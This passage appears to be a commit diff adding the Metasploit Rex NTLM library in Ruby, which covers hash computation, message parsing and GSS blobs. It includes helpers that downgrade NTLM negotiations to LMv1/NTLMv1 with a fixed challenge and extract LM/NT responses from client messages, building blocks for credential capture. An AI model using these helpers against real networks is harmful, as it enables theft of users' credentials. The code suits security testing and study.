int32LE :blob_signature, {:value => CONST::BLOB_SIGN}
int32LE :reserved, {:value => 0}
int64LE :timestamp, {:value => 0}
string :challenge, {:value => "", :size => 8}
int32LE :unknown1, {:value => 0}
string :target_info, {:value => "", :size => 0}
int32LE :unknown2, {:value => 0}
}
SecurityBuffer = FieldSet.define {
int16LE :length, {:value => 0}
int16LE :allocated, {:value => 0}
int32LE :offset, {:value => 0}
}
class SecurityBuffer
attr_accessor :active
def initialize(opts)
super()
@value = opts[:value]
@active = opts[:active].nil? ? true : opts[:active]
@size = 8
end
def parse(str, offset=0)
if @active and str.size >= offset + @size
super(str, offset)
@value = str[self.offset, self.length]
@size
else
0
end
end
def serialize
super if @active
end
def value
@value
end
def value=(val)
@value = val
self.length = self.allocated = val.size
end
def data_size
@active ? @value.size : 0
end
end
end
end
end
end

View File

@ -0,0 +1,74 @@
module Rex
module Proto
module NTLM
class Constants
SSP_SIGN = "NTLMSSP\0"
BLOB_SIGN = 0x00000101
LM_MAGIC = "KGS!@\#$%"
TIME_OFFSET = 11644473600
MAX64 = 0xffffffffffffffff
FLAGS = {
:UNICODE => 0x00000001,
:OEM => 0x00000002,
:REQUEST_TARGET => 0x00000004,
#:UNKNOWN => 0x00000008,
:SIGN => 0x00000010,
:SEAL => 0x00000020,
#:UNKNOWN => 0x00000040,
:NETWARE => 0x00000100,
:NTLM => 0x00000200,
#:UNKNOWN => 0x00000400,
#:UNKNOWN => 0x00000800,
:DOMAIN_SUPPLIED => 0x00001000,
:WORKSTATION_SUPPLIED => 0x00002000,
:LOCAL_CALL => 0x00004000,
:ALWAYS_SIGN => 0x00008000,
:TARGET_TYPE_DOMAIN => 0x00010000,
:TARGET_INFO => 0x00800000,
:NTLM2_KEY => 0x00080000,
:KEY128 => 0x20000000,
:KEY56 => 0x80000000
}
FLAG_KEYS = FLAGS.keys.sort{|a, b| FLAGS[a] <=> FLAGS[b] }
DEFAULT_FLAGS = {
:TYPE1 => FLAGS[:UNICODE] | FLAGS[:OEM] | FLAGS[:REQUEST_TARGET] | FLAGS[:NTLM] | FLAGS[:ALWAYS_SIGN] | FLAGS[:NTLM2_KEY],
:TYPE2 => FLAGS[:UNICODE],
:TYPE3 => FLAGS[:UNICODE] | FLAGS[:REQUEST_TARGET] | FLAGS[:NTLM] | FLAGS[:ALWAYS_SIGN] | FLAGS[:NTLM2_KEY]
}
# NTLM Response Type
NTLM_V1_RESPONSE = 1
NTLM_V2_RESPONSE = 2
NTLM_2_SESSION_RESPONSE = 3
#the same flags but merged from lib/rex/proto/smb/constants and keeped for compatibility
# NTLMSSP Message Flags
NEGOTIATE_UNICODE = 0x00000001 # Only set if Type 1 contains it - this or oem, not both
NEGOTIATE_OEM = 0x00000002 # Only set if Type 1 contains it - this or unicode, not both
REQUEST_TARGET = 0x00000004 # If set in Type 1, must return domain or server
NEGOTIATE_SIGN = 0x00000010 # Session signature required
NEGOTIATE_SEAL = 0x00000020 # Session seal required
NEGOTIATE_LMKEY = 0x00000080 # LM Session Key should be used for signing and sealing
NEGOTIATE_NTLM = 0x00000200 # NTLM auth is supported
NEGOTIATE_ANONYMOUS = 0x00000800 # Anonymous context used
NEGOTIATE_DOMAIN = 0x00001000 # Sent in Type1, client gives domain info
NEGOTIATE_WORKSTATION = 0x00002000 # Sent in Type1, client gives workstation info
NEGOTIATE_LOCAL_CALL = 0x00004000 # Server and client are on same machine
NEGOTIATE_ALWAYS_SIGN = 0x00008000 # Add signatures to packets
TARGET_TYPE_DOMAIN = 0x00010000 # If REQUEST_TARGET, we're adding the domain name
TARGET_TYPE_SERVER = 0x00020000 # If REQUEST_TARGET, we're adding the server name
TARGET_TYPE_SHARE = 0x00040000 # Supposed to denote "a share" but for a webserver?
NEGOTIATE_NTLM2_KEY = 0x00080000 # NTLMv2 Signature and Key exchanges
NEGOTIATE_TARGET_INFO = 0x00800000 # Server set when sending Target Information Block
NEGOTIATE_128 = 0x20000000 # 128-bit encryption supported
NEGOTIATE_KEY_EXCH = 0x40000000 # Client will supply encrypted master key in Session Key field of Type3 msg
NEGOTIATE_56 = 0x80000000 # 56-bit encryption supported
end
end
end
end

320
lib/rex/proto/ntlm/crypt.rb Normal file
View File

@ -0,0 +1,320 @@
#
# An NTLM Authentication Library for Ruby
#
# This code is a derivative of "dbf2.rb" written by yrock
# and Minero Aoki. You can find original code here:
# http://jp.rubyist.net/magazine/?0013-CodeReview
# -------------------------------------------------------------
# Copyright (c) 2005,2006 yrock
#
# This program is free software.
# You can distribute/modify this program under the terms of the
# Ruby License.
#
# 2011-02-23 refactored and improved by Alexandre Maloteaux for Metasploit Project
# -------------------------------------------------------------
#
# 2006-02-11 refactored by Minero Aoki
# -------------------------------------------------------------
#
# All protocol information used to write this code stems from
# "The NTLM Authentication Protocol" by Eric Glass. The author
# would thank to him for this tremendous work and making it
# available on the net.
# http://davenport.sourceforge.net/ntlm.html
# -------------------------------------------------------------
# Copyright (c) 2003 Eric Glass
#
# Permission to use, copy, modify, and distribute this document
# for any purpose and without any fee is hereby granted,
# provided that the above copyright notice and this list of
# conditions appear in all copies.
# -------------------------------------------------------------
#
# The author also looked Mozilla-Firefox-1.0.7 source code,
# namely, security/manager/ssl/src/nsNTLMAuthModule.cpp and
# Jonathan Bastien-Filiatrault's libntlm-ruby.
# "http://x2a.org/websvn/filedetails.php?
# repname=libntlm-ruby&path=%2Ftrunk%2Fntlm.rb&sc=1"
# The latter has a minor bug in its separate_keys function.
# The third key has to begin from the 14th character of the
# input string instead of 13th:)
#--
# $Id: ntlm.rb 11678 2011-01-30 19:26:35Z hdm $
#++
require 'rex/proto/ntlm/constants'
require 'rex/proto/ntlm/base'
module Rex
module Proto
module NTLM
class Crypt
CONST = Rex::Proto::NTLM::Constants
BASE = Rex::Proto::NTLM::Base
@@loaded_openssl = false
begin
require 'openssl'
require 'openssl/digest'
@@loaded_openssl = true
rescue ::Exception
end
begin
def self.gen_keys(str)
Rex::Text::split_to_a(str, 7).map{ |str7|
bits = Rex::Text::split_to_a(str7.unpack("B*")[0], 7).inject('')\
{|ret, tkn| ret += tkn + (tkn.gsub('1', '').size % 2).to_s }
[bits].pack("B*")
}
end
def self.apply_des(plain, keys)
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
dec = OpenSSL::Cipher::DES.new
keys.map {|k|
dec.key = k
dec.encrypt.update(plain)
}
end
def self.lm_hash(password, half = false)
if half then size = 7 else size = 14 end
keys = gen_keys password.upcase.ljust(size, "\0")
apply_des(CONST::LM_MAGIC, keys).join
end
def self.ntlm_hash(password, opt = {})
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
pwd = password.dup
unless opt[:unicode]
pwd = Rex::Text.to_unicode(pwd)
end
OpenSSL::Digest::MD4.digest pwd
end
def self.ntlmv2_hash(user, password, domain, opt={})
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
ntlmhash = ntlm_hash(password, opt)
#With Win 7 and maybe other OSs we sometimes get my domain not uppercased,
#so the domain does not need to be uppercased
userdomain = user.upcase + domain
unless opt[:unicode]
userdomain = Rex::Text.to_unicode(userdomain)
end
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlmhash, userdomain)
end
# responses
def self.lm_response(arg, half = false)
begin
hash = arg[:lm_hash]
chal = arg[:challenge]
rescue
raise ArgumentError
end
chal = BASE::pack_int64le(chal) if chal.is_a?(Integer)
if half then size = 7 else size = 21 end
keys = gen_keys hash.ljust(size, "\0")
apply_des(chal, keys).join
end
#synonym of lm_response for old compatibility with lib/rex/proto/smb/crypt
def self.lanman_des(password, challenge)
arglm = { :lm_hash => self.lm_hash(password),
:challenge => challenge }
self.lm_response(arglm)
end
def self.ntlm_response(arg)
hash = arg[:ntlm_hash]
chal = arg[:challenge]
chal = BASE::pack_int64le(chal) if chal.is_a?(::Integer)
keys = gen_keys hash.ljust(21, "\0")
apply_des(chal, keys).join
end
#synonym of ntlm_response for old compatibility with lib/rex/proto/smb/crypt
def self.ntlm_md4(password, challenge)
argntlm = { :ntlm_hash => self.ntlm_hash(password),
:challenge => challenge }
self.ntlm_response(argntlm)
end
def self.ntlmv2_response(arg, opt = {})
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
begin
key = arg[:ntlmv2_hash]
chal = arg[:challenge]
rescue
raise ArgumentError , 'ntlmv2_hash and challenge are mandatory'
end
chal = BASE::pack_int64le(chal) if chal.is_a?(::Integer)
if opt[:nt_client_challenge]
unless opt[:nt_client_challenge].is_a?(::String) && opt[:nt_client_challenge].length > 24
raise ArgumentError,"nt_client_challenge is not in a correct format "
end
bb = opt[:nt_client_challenge]
else
begin
ti = arg[:target_info]
rescue
raise ArgumentError, "target_info is mandatory in this case"
end
if opt[:client_challenge]
cc = opt[:client_challenge]
else
cc = rand(CONST::MAX64)
end
cc = BASE::pack_int64le(cc) if cc.is_a?(::Integer)
if opt[:timestamp]
ts = opt[:timestamp]
else
ts = Time.now.to_i
end
# epoch -> milsec from Jan 1, 1601
ts = 10000000 * (ts + CONST::TIME_OFFSET)
blob = BASE::Blob.new
blob.timestamp = ts
blob.challenge = cc
blob.target_info = ti
bb = blob.serialize
end
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + bb) + bb
end
def self.lmv2_response(arg, opt = {})
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
key = arg[:ntlmv2_hash]
chal = arg[:challenge]
chal = BASE::pack_int64le(chal) if chal.is_a?(::Integer)
if opt[:client_challenge]
cc = opt[:client_challenge]
else
cc = rand(CONST::MAX64)
end
cc = BASE::pack_int64le(cc) if cc.is_a?(::Integer)
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + cc) + cc
end
def self.ntlm2_session(arg, opt = {})
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
begin
passwd_hash = arg[:ntlm_hash]
chal = arg[:challenge]
rescue
raise ArgumentError
end
if opt[:client_challenge]
cc = opt[:client_challenge]
else
cc = rand(CONST::MAX64)
end
cc = BASE::pack_int64le(cc) if cc.is_a?(Integer)
keys = gen_keys passwd_hash.ljust(21, "\0")
session_hash = OpenSSL::Digest::MD5.digest(chal + cc).slice(0, 8)
response = apply_des(session_hash, keys).join
[cc.ljust(24, "\0"), response]
end
#signing method added for metasploit project
#Used when only the LMv1 response is provided (i.e., with Win9x clients)
def self.lmv1_user_session_key(pass )
self.lm_hash(pass.upcase[0,7],true).ljust(16,"\x00")
end
#This variant is used when the client sends the NTLMv1 response
def self.ntlmv1_user_session_key(pass )
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
OpenSSL::Digest::MD4.digest(self.ntlm_hash(pass))
end
#Used when NTLMv1 authentication is employed with NTLM2 session security
def self.ntlm2_session_user_session_key(pass, srv_chall, cli_chall)
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
ntlm_key = self.ntlmv1_user_session_key(pass )
session_chal = srv_chall + cli_chall
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlm_key, session_chal)
end
#Used when the LMv2 response is sent
def self.lmv2_user_session_key(user, pass, domain, srv_chall, cli_chall)
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
ntlmv2_key = self.ntlmv2_hash(user, pass, domain)
hash1 = OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlmv2_key, srv_chall + cli_chall)
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlmv2_key, hash1)
end
#Used when the NTLMv2 response is sent
class << self; alias_method :ntlmv2_user_session_key, :lmv2_user_session_key; end
#Used when LAnMan Key flag is set
def self.lanman_session_key(pass, srvchall)
halfhash =self.lm_hash(pass.upcase[0,7],true)
arglm = { :lm_hash => halfhash[0,7],
:challenge => srvchall }
plain = self.lm_response(arglm,true)
key = halfhash + ["bdbdbdbdbdbd"].pack("H*")
keys = self.gen_keys(key)
self.apply_des(plain, keys).join
end
def self.encrypt_sessionkey(session_key, user_session_key)
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
cipher = OpenSSL::Cipher::Cipher.new('rc4')
cipher.encrypt
cipher.key = user_session_key
cipher.update(session_key)
end
def self.decrypt_sessionkey(encrypted_session_key, user_session_key)
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
cipher = OpenSSL::Cipher::Cipher.new('rc4')
cipher.decrypt
cipher.key = user_session_key
cipher.update(encrypted_session_key)
end
def self.make_weak_sessionkey(session_key,key_size,lanman_key = false)
case key_size
when 40
if lanman_key
return session_key[0,5] + "\xe5\x38\xb0"
else
return session_key[0,5]
end
when 56
if lanman_key
return session_key[0,7] + "\xa0"
else
return session_key[0,7]
end
else #128
return session_key[0,16]
end
end
rescue LoadError
end
end
end
end
end

View File

@ -0,0 +1,9 @@
module Rex
module Proto
module NTLM
module Exceptions
end
end
end
end

View File

@ -0,0 +1,533 @@
#
# An NTLM Authentication Library for Ruby
#
# This code is a derivative of "dbf2.rb" written by yrock
# and Minero Aoki. You can find original code here:
# http://jp.rubyist.net/magazine/?0013-CodeReview
# -------------------------------------------------------------
# Copyright (c) 2005,2006 yrock
#
# This program is free software.
# You can distribute/modify this program under the terms of the
# Ruby License.
#
# 2011-02-23 refactored by Alexandre Maloteaux for Metasploit Project
# -------------------------------------------------------------
#
# 2006-02-11 refactored by Minero Aoki
# -------------------------------------------------------------
#
# All protocol information used to write this code stems from
# "The NTLM Authentication Protocol" by Eric Glass. The author
# would thank to him for this tremendous work and making it
# available on the net.
# http://davenport.sourceforge.net/ntlm.html
# -------------------------------------------------------------
# Copyright (c) 2003 Eric Glass
#
# Permission to use, copy, modify, and distribute this document
# for any purpose and without any fee is hereby granted,
# provided that the above copyright notice and this list of
# conditions appear in all copies.
# -------------------------------------------------------------
#
# The author also looked Mozilla-Firefox-1.0.7 source code,
# namely, security/manager/ssl/src/nsNTLMAuthModule.cpp and
# Jonathan Bastien-Filiatrault's libntlm-ruby.
# "http://x2a.org/websvn/filedetails.php?
# repname=libntlm-ruby&path=%2Ftrunk%2Fntlm.rb&sc=1"
# The latter has a minor bug in its separate_keys function.
# The third key has to begin from the 14th character of the
# input string instead of 13th:)
#--
# $Id: ntlm.rb 11678 2011-01-30 19:26:35Z hdm $
#++
#this module defines the message class , useful for easily handling type 1/2/3 ntlm messages
require 'rex/proto/ntlm/base'
require 'rex/proto/ntlm/constants'
require 'rex/proto/ntlm/crypt'
module Rex
module Proto
module NTLM
class Message < Rex::Proto::NTLM::Base::FieldSet
BASE = Rex::Proto::NTLM::Base
CONST = Rex::Proto::NTLM::Constants
class << Message
def parse(str)
m = Type0.new
m.parse(str)
case m.type
when 1
t = Type1.parse(str)
when 2
t = Type2.parse(str)
when 3
t = Type3.parse(str)
else
raise ArgumentError, "unknown type: #{m.type}"
end
t
end
def decode64(str)
parse(Rex::Text::decode_base64(str))
end
end#self
def has_flag?(flag)
(self[:flag].value & CONST::FLAGS[flag]) == CONST::FLAGS[flag]
end
def set_flag(flag)
self[:flag].value |= CONST::FLAGS[flag]
end
def dump_flags
CONST::FLAG_KEYS.each{ |k| print(k, "=", flag?(k), "\n") }
end
def serialize
deflag
super + security_buffers.map{|n, f| f.value}.join
end
def encode64
Rex::Text::encode_base64(serialize)
end
def decode64(str)
parse(Rex::Text::decode_base64(str))
end
alias head_size size
def data_size
security_buffers.inject(0){|sum, a| sum += a[1].data_size}
end
def size
head_size + data_size
end
private
def security_buffers
@alist.find_all{|n, f| f.instance_of?(BASE::SecurityBuffer)}
end
def deflag
security_buffers.inject(head_size){|cur, a|
a[1].offset = cur
cur += a[1].data_size
}
end
def data_edge
security_buffers.map{ |n, f| f.active ? f.offset : size}.min
end
# sub class definitions
Type0 = Message.define {
string :sign, {:size => 8, :value => CONST::SSP_SIGN}
int32LE :type, {:value => 0}
}
Type1 = Message.define {
string :sign, {:size => 8, :value => CONST::SSP_SIGN}
int32LE :type, {:value => 1}
int32LE :flag, {:value => CONST::DEFAULT_FLAGS[:TYPE1] }
security_buffer :domain, {:value => "", :active => false}
security_buffer :workstation, {:value => "", :active => false}
string :padding, {:size => 0, :value => "", :active => false }
}
class Type1
class << Type1
def parse(str)
t = new
t.parse(str)
t
end
end
def parse(str)
super(str)
enable(:domain) if has_flag?(:DOMAIN_SUPPLIED)
enable(:workstation) if has_flag?(:WORKSTATION_SUPPLIED)
super(str)
if ( (len = data_edge - head_size) > 0)
self.padding = "\0" * len
super(str)
end
end
end
Type2 = Message.define{
string :sign, {:size => 8, :value => CONST::SSP_SIGN}
int32LE :type, {:value => 2}
security_buffer :target_name, {:size => 0, :value => ""}
int32LE :flag, {:value => CONST::DEFAULT_FLAGS[:TYPE2]}
int64LE :challenge, {:value => 0}
int64LE :context, {:value => 0, :active => false}
security_buffer :target_info, {:value => "", :active => false}
string :padding, {:size => 0, :value => "", :active => false }
}
class Type2
class << Type2
def parse(str)
t = new
t.parse(str)
t
end
end
def parse(str)
super(str)
if has_flag?(:TARGET_INFO)
enable(:context)
enable(:target_info)
super(str)
end
if ( (len = data_edge - head_size) > 0)
self.padding = "\0" * len
super(str)
end
end
def response(arg, opt = {})
usr = arg[:user]
pwd = arg[:password]
if usr.nil? or pwd.nil?
raise ArgumentError, "user and password have to be supplied"
end
if opt[:workstation]
ws = opt[:workstation]
else
ws = ""
end
if opt[:client_challenge]
cc = opt[:client_challenge]
else
cc = rand(CONST::MAX64)
end
cc = Rex::Text::pack_int64le(cc) if cc.is_a?(Integer)
opt[:client_challenge] = cc
if has_flag?(:OEM) and opt[:unicode]
usr = Rex::Text::to_ascii(usr,'utf-16le')
pwd = Rex::Text::to_ascii(pwd,'utf-16le')
ws = Rex::Text::to_ascii(ws,'utf-16le')
opt[:unicode] = false
end
if has_flag?(:UNICODE) and !opt[:unicode]
usr = Rex::Text::to_unicode(usr,'utf-16le')
pwd = Rex::Text::to_unicode(pwd,'utf-16le')
ws = Rex::Text::to_unicode(ws,'utf-16le')
opt[:unicode] = true
end
tgt = self.target_name
ti = self.target_info
chal = self[:challenge].serialize
if opt[:ntlmv2]
ar = { :ntlmv2_hash => NTLM::ntlmv2_hash(usr, pwd, tgt, opt),
:challenge => chal, :target_info => ti}
lm_res = NTLM::lmv2_response(ar, opt)
ntlm_res = NTLM::ntlmv2_response(ar, opt)
elsif has_flag?(:NTLM2_KEY)
ar = {:ntlm_hash => NTLM::ntlm_hash(pwd, opt), :challenge => chal}
lm_res, ntlm_res = NTLM::ntlm2_session(ar, opt)
else
lm_res = NTLM::lm_response(pwd, chal)
ntlm_res = NTLM::ntlm_response(pwd, chal)
end
Type3.create({
:lm_response => lm_res,
:ntlm_response => ntlm_res,
:domain => tgt,
:user => usr,
:workstation => ws,
:flag => self.flag
})
end
end
Type3 = Message.define{
string :sign, {:size => 8, :value => CONST::SSP_SIGN}
int32LE :type, {:value => 3}
security_buffer :lm_response, {:value => ""}
security_buffer :ntlm_response, {:value => ""}
security_buffer :domain, {:value => ""}
security_buffer :user, {:value => ""}
security_buffer :workstation, {:value => ""}
security_buffer :session_key, {:value => "", :active => false }
int64LE :flag, {:value => 0, :active => false }
}
class Type3
class << Type3
def parse(str)
t = new
t.parse(str)
t
end
def create(arg, opt ={})
t = new
t.lm_response = arg[:lm_response]
t.ntlm_response = arg[:ntlm_response]
t.domain = arg[:domain]
t.user = arg[:user]
t.workstation = arg[:workstation]
if arg[:session_key]
t.enable(:session_key)
t.session_key = arg[session_key]
end
if arg[:flag]
t.enable(:session_key)
t.enable(:flag)
t.flag = arg[:flag]
end
t
end
end#self
end
public
#those class method have been merged from lib/rex/smb/utils
#
# Process Type 3 NTLM Message (in Base64)
#
# from http://www.innovation.ch/personal/ronald/ntlm.html
#
# struct {
# byte protocol[8]; // 'N', 'T', 'L', 'M', 'S', 'S', 'P', '\0'
# byte type; // 0x03
# byte zero[3];
#
# short lm_resp_len; // LanManager response length (always 0x18)
# short lm_resp_len; // LanManager response length (always 0x18)
# short lm_resp_off; // LanManager response offset
# byte zero[2];
#
# short nt_resp_len; // NT response length (always 0x18)
# short nt_resp_len; // NT response length (always 0x18)
# short nt_resp_off; // NT response offset
# byte zero[2];
#
# short dom_len; // domain string length
# short dom_len; // domain string length
# short dom_off; // domain string offset (always 0x40)
# byte zero[2];
#
# short user_len; // username string length
# short user_len; // username string length
# short user_off; // username string offset
# byte zero[2];
#
# short host_len; // host string length
# short host_len; // host string length
# short host_off; // host string offset
# byte zero[6];
#
# short msg_len; // message length
# byte zero[2];
#
# short flags; // 0x8201
# byte zero[2];
#
# byte dom[*]; // domain string (unicode UTF-16LE)
# byte user[*]; // username string (unicode UTF-16LE)
# byte host[*]; // host string (unicode UTF-16LE)
# byte lm_resp[*]; // LanManager response
# byte nt_resp[*]; // NT response
# } type_3_message
#
def self.process_type3_message(message)
decode = Rex::Text.decode_base64(message.strip)
type = decode[8,1].unpack("C").first
if (type == 3)
lm_len = decode[12,2].unpack("v").first
lm_offset = decode[16,2].unpack("v").first
lm = decode[lm_offset, lm_len].unpack("H*").first
nt_len = decode[20,2].unpack("v").first
nt_offset = decode[24,2].unpack("v").first
nt = decode[nt_offset, nt_len].unpack("H*").first
dom_len = decode[28,2].unpack("v").first
dom_offset = decode[32,2].unpack("v").first
domain = decode[dom_offset, dom_len]
user_len = decode[36,2].unpack("v").first
user_offset = decode[40,2].unpack("v").first
user = decode[user_offset, user_len]
host_len = decode[44,2].unpack("v").first
host_offset = decode[48,2].unpack("v").first
host = decode[host_offset, host_len]
return domain, user, host, lm, nt
else
return "", "", "", "", ""
end
end
#
# Process Type 1 NTLM Messages, return a Base64 Type 2 Message
#
def self.process_type1_message(message, nonce = "\x11\x22\x33\x44\x55\x66\x77\x88", win_domain = 'DOMAIN',
win_name = 'SERVER', dns_name = 'server', dns_domain = 'example.com', downgrade = true)
dns_name = Rex::Text.to_unicode(dns_name + "." + dns_domain)
win_domain = Rex::Text.to_unicode(win_domain)
dns_domain = Rex::Text.to_unicode(dns_domain)
win_name = Rex::Text.to_unicode(win_name)
decode = Rex::Text.decode_base64(message.strip)
type = decode[8,1].unpack("C").first
if (type == 1)
# A type 1 message has been received, lets build a type 2 message response
reqflags = decode[12,4]
reqflags = reqflags.unpack("V").first
if (reqflags & CONST::REQUEST_TARGET) == CONST::REQUEST_TARGET
if (downgrade)
# At this time NTLMv2 and signing requirements are not supported
if (reqflags & CONST::NEGOTIATE_NTLM2_KEY) == CONST::NEGOTIATE_NTLM2_KEY
reqflags = reqflags - CONST::NEGOTIATE_NTLM2_KEY
end
if (reqflags & CONST::NEGOTIATE_ALWAYS_SIGN) == CONST::NEGOTIATE_ALWAYS_SIGN
reqflags = reqflags - CONST::NEGOTIATE_ALWAYS_SIGN
end
end
flags = reqflags + CONST::TARGET_TYPE_DOMAIN + CONST::TARGET_TYPE_SERVER
tid = true
tidoffset = 48 + win_domain.length
tidbuff =
[2].pack('v') + # tid type, win domain
[win_domain.length].pack('v') +
win_domain +
[1].pack('v') + # tid type, server name
[win_name.length].pack('v') +
win_name +
[4].pack('v') + # tid type, domain name
[dns_domain.length].pack('v') +
dns_domain +
[3].pack('v') + # tid type, dns_name
[dns_name.length].pack('v') +
dns_name
else
flags = CONST::NEGOTIATE_UNICODE + CONST::NEGOTIATE_NTLM
tid = false
end
type2msg = "NTLMSSP\0" + # protocol, 8 bytes
"\x02\x00\x00\x00" # type, 4 bytes
if (tid)
type2msg += # Target security info, 8 bytes. Filled if REQUEST_TARGET
[win_domain.length].pack('v') + # Length, 2 bytes
[win_domain.length].pack('v') # Allocated space, 2 bytes
end
type2msg +="\x30\x00\x00\x00" + # Offset, 4 bytes
[flags].pack('V') + # flags, 4 bytes
nonce + # the nonce, 8 bytes
"\x00" * 8 # Context (all 0s), 8 bytes
if (tid)
type2msg += # Target information security buffer. Filled if REQUEST_TARGET
[tidbuff.length].pack('v') + # Length, 2 bytes
[tidbuff.length].pack('v') + # Allocated space, 2 bytes
[tidoffset].pack('V') + # Offset, 4 bytes (usually \x48 + length of win_domain)
win_domain + # Target name data (domain in unicode if REQUEST_UNICODE)
# Target information data
tidbuff + # Type, 2 bytes
# Length, 2 bytes
# Data (in unicode if REQUEST_UNICODE)
"\x00\x00\x00\x00" # Terminator, 4 bytes, all \x00
end
type2msg = Rex::Text.encode_base64(type2msg).delete("\n") # base64 encode and remove the returns
else
# This is not a Type2 message
type2msg = ""
end
return type2msg
end
#
# Downgrading Type messages to LMv1/NTLMv1 and removing signing
#
def self.downgrade_type_message(message)
decode = Rex::Text.decode_base64(message.strip)
type = decode[8,1].unpack("C").first
if (type > 0 and type < 4)
reqflags = decode[12..15] if (type == 1 or type == 3)
reqflags = decode[20..23] if (type == 2)
reqflags = reqflags.unpack("V")
# Remove NEGOTIATE_NTLMV2_KEY and NEGOTIATE_ALWAYS_SIGN, this lowers the negotiation
# down to LMv1/NTLMv1.
if (reqflags & CONST::NEGOTIATE_NTLM2_KEY) == CONST::NEGOTIATE_NTLM2_KEY
reqflags = reqflags - CONST::NEGOTIATE_NTLM2_KEY
end
if (reqflags & CONST::NEGOTIATE_ALWAYS_SIGN) == CONST::NEGOTIATE_ALWAYS_SIGN
reqflags = reqflags - CONST::NEGOTIATE_ALWAYS_SIGN
end
# Return the flags back to the decode so we can base64 it again
flags = reqflags.to_s(16)
0.upto(8) do |idx|
if (idx > flags.length)
flags.insert(0, "0")
end
end
idx = 0
0.upto(3) do |cnt|
if (type == 2)
decode[23-cnt] = [flags[idx,1]].pack("C")
else
decode[15-cnt] = [flags[idx,1]].pack("C")
end
idx += 2
end
end
return Rex::Text.encode_base64(decode).delete("\n") # base64 encode and remove the returns
end
end
end
end
end

358
lib/rex/proto/ntlm/utils.rb Normal file
View File

@ -0,0 +1,358 @@
module Rex
module Proto
module NTLM
class Utils
#duplicate from lib/rex/proto/smb/utils cause we only need this fonction from Rex::Proto::SMB::Utils
# Convert a unix timestamp to a 64-bit signed server time
def self.time_unix_to_smb(unix_time)
t64 = (unix_time + 11644473600) * 10000000
thi = (t64 & 0xffffffff00000000) >> 32
tlo = (t64 & 0x00000000ffffffff)
return [thi, tlo]
end
#
# Prepends an ASN1 formatted length field to a piece of data
#
def self.asn1encode(str = '')
res = ''
# If the high bit of the first byte is 1, it contains the number of
# length bytes that follow
case str.length
when 0 .. 0x7F
res = [str.length].pack('C') + str
when 0x80 .. 0xFF
res = [0x81, str.length].pack('CC') + str
when 0x100 .. 0xFFFF
res = [0x82, str.length].pack('Cn') + str
when 0x10000 .. 0xffffff
res = [0x83, str.length >> 16, str.length & 0xFFFF].pack('CCn') + str
when 0x1000000 .. 0xffffffff
res = [0x84, str.length].pack('CN') + str
else
raise "ASN1 str too long"
end
return res
end
#GSS functions
#GSS BLOB usefull for SMB_NEGOCIATE_RESPONSE message
#mechTypes: 2 items :
# -MechType: 1.3.6.1.4.1.311.2.2.30 (SNMPv2-SMI::enterprises.311.2.2.30)
# -MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider)
#
#this is the default on Win7
def self.make_simple_negotiate_secblob_resp
blob =
"\x60" + self.asn1encode(
"\x06" + self.asn1encode(
"\x2b\x06\x01\x05\x05\x02"
) +
"\xa0" + self.asn1encode(
"\x30" + self.asn1encode(
"\xa0" + self.asn1encode(
"\x30" + self.asn1encode(
"\x06" + self.asn1encode(
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
)
)
)
)
)
)
return blob
end
#GSS BLOB usefull for SMB_NEGOCIATE_RESPONSE message
#mechTypes: 4 items :
# MechType: 1.2.840.48018.1.2.2 (MS KRB5 - Microsoft Kerberos 5)
# MechType: 1.2.840.113554.1.2.2 (KRB5 - Kerberos 5)
# MechType: 1.2.840.113554.1.2.2.3 (KRB5 - Kerberos 5 - User to User)
# MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider)
#mechListMIC:
# principal: account@domain
def self.make_negotiate_secblob_resp(account, domain)
blob =
"\x60" + self.asn1encode(
"\x06" + self.asn1encode(
"\x2b\x06\x01\x05\x05\x02"
) +
"\xa0" + self.asn1encode(
"\x30" + self.asn1encode(
"\xa0" + self.asn1encode(
"\x30" + self.asn1encode(
"\x06" + self.asn1encode(
"\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"
) +
"\x06" + self.asn1encode(
"\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"
) +
"\x06" + self.asn1encode(
"\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"
) +
"\x06" + self.asn1encode(
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
)
)
) +
"\xa3" + self.asn1encode(
"\x30" + self.asn1encode(
"\xa0" + self.asn1encode(
"\x1b" + self.asn1encode(
account + '@' + domain
)
)
)
)
)
)
)
return blob
end
#GSS BLOB usefull for ntlmssp type 1 message
def self.make_ntlmssp_secblob_init(domain = 'WORKGROUP', name = 'WORKSTATION', flags=0x80201)
blob =
"\x60" + self.asn1encode(
"\x06" + self.asn1encode(
"\x2b\x06\x01\x05\x05\x02"
) +
"\xa0" + self.asn1encode(
"\x30" + self.asn1encode(
"\xa0" + self.asn1encode(
"\x30" + self.asn1encode(
"\x06" + self.asn1encode(
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
)
)
) +
"\xa2" + self.asn1encode(
"\x04" + self.asn1encode(
"NTLMSSP\x00" +
[1, flags].pack('VV') +
[
domain.length, #length
domain.length, #max length
32
].pack('vvV') +
[
name.length, #length
name.length, #max length
domain.length + 32
].pack('vvV') +
domain + name
)
)
)
)
)
return blob
end
#GSS BLOB usefull for ntlmssp type 2 message
def self.make_ntlmssp_secblob_chall(win_domain, win_name, dns_domain, dns_name, chall, flags)
blob =
